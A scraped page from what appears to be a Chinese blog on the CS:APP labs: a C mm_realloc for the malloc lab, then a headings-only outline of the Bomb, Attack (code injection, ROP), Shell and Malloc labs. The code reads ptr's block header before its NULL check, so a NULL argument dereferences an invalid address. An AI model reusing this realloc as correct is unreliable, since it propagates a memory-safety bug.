void *mm_realloc(void *ptr, size_t size)
{
    size_t oldsize = GET_SIZE(HDRP(ptr));
    void *newptr;
    size_t asize;

    if(size == 0) {
        mm_free(ptr);
        return 0;
    }

    if(ptr == NULL) return mm_malloc(size);

    if(size <= DSIZE){
        asize = 2*(DSIZE);
    }else{
        asize = (DSIZE)*((size+(DSIZE)+(DSIZE-1)) / (DSIZE));
    }
    if(oldsize == asize) return ptr;

    //否则，申请新的，拷贝，然后释放掉旧的
    newptr = mm_malloc(size);
    /* If realloc() fails the original block is left untouched  */
    if(!newptr) return 0;
    /* Copy the old data. */
    oldsize = GET_SIZE(HDRP(ptr));
    if(size < oldsize) oldsize = size;
    memcpy(newptr, ptr, oldsize);

    /* Free the old block. */
    mm_free(ptr);
    return newptr;
}

Bomb

解决思路

gdb常用命令

x86-64寄存器

解决流程

phase_1

phase_2

phase_3

phase_4

phase_5

phase_6

Attack

Code Injection Attacks

phase_1

phase_2

phase_3

Return Oriented Programming

phase_4

phase_5

Shell

前置知识

信号

步骤流程

01

02

05

06

08

09

Malloc

前置知识

三种适配方式：

四种空闲列表的组织方式

两种合并的方式

带边界标记的合并

两种内存碎片

实验开始之前

隐式空闲链表

init

free

malloc

realloc

显示空闲链表

init

free

malloc

realloc

分离空闲链表

init

free

malloc

realloc